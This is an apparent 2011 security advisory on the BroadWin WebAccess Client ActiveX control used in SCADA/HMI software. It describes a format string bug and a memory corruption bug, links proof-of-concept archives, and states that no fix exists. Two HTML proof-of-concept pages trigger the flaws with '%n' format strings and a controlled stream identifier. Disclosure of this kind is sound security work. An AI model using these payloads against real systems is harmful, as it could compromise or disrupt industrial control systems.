BroadWin WebAccess Client Multiple Vulnerabilities

EKU-ID: 907	CVE:	OSVDB-ID:
Author: Luigi Auriemma	Published: 2011-09-05	Verified:
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Application: BroadWin WebAccess Client
              http://broadwin.com/Client.htm
Versions:     bwocxrun.ocx <= 1.0.0.10 (aka version 7.0)
Platforms:    Windows
Bugs:         A] format string
              B] arbitrary memory corruption
Exploitation: remote
Date:         02 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

#######################################################################

1) Introduction
2) Bugs
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

From vendor's website:
"WebAccess is the first fully web browser-based software package for
human-machine interfaces (HMI), and supervisory control and data
acquisition (SCADA)."

The various operations are handled by the bwocxrun.ocx ActiveX
component which is available (but it's not updated) also in Advantech
WebAccess (http://webaccess.advantech.com).

#######################################################################

=======
2) Bugs
=======

----------------
A] format string
----------------

The OcxSpool function is affected by a format string vulnerability
caused by the usage of the Msg string provided by the attacker directly
with vsprintf() without the required format argument.

------------------------------
B] arbitrary memory corruption
------------------------------

WriteTextData and CloseFile allow to corrupt arbitrary zones of the
memory through a fully controllable stream identifier in fclose() and
fwrite().

#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/bwocxrun_1.zip
http://www.exploit-db.com/sploits/bwocxrun_1.zip

#######################################################################

======
4) Fix
======

No fix.

---------------------------bwocxrun_1a.htm--------------

<html>
<body>
<object id="target" classid="CLSID:5C2A52BD-2250-4F6B-A4D2-D1D00FCD748C"></object>
<script>
    target.OcxSpool(
        "%s%s%s%n%n%n%n%n"
    );
</script>
</body>
</html>

---------------------------bwocxrun_1b.htm--------------

<html>
<body>
<object id="target" classid="CLSID:5C2A52BD-2250-4F6B-A4D2-D1D00FCD748C"></object>
<script>
    target.WriteTextData(
        0x41414141,
        "test"
    );
    target.CloseFile(
        0x41414141
    );
</script>
</body>
</html>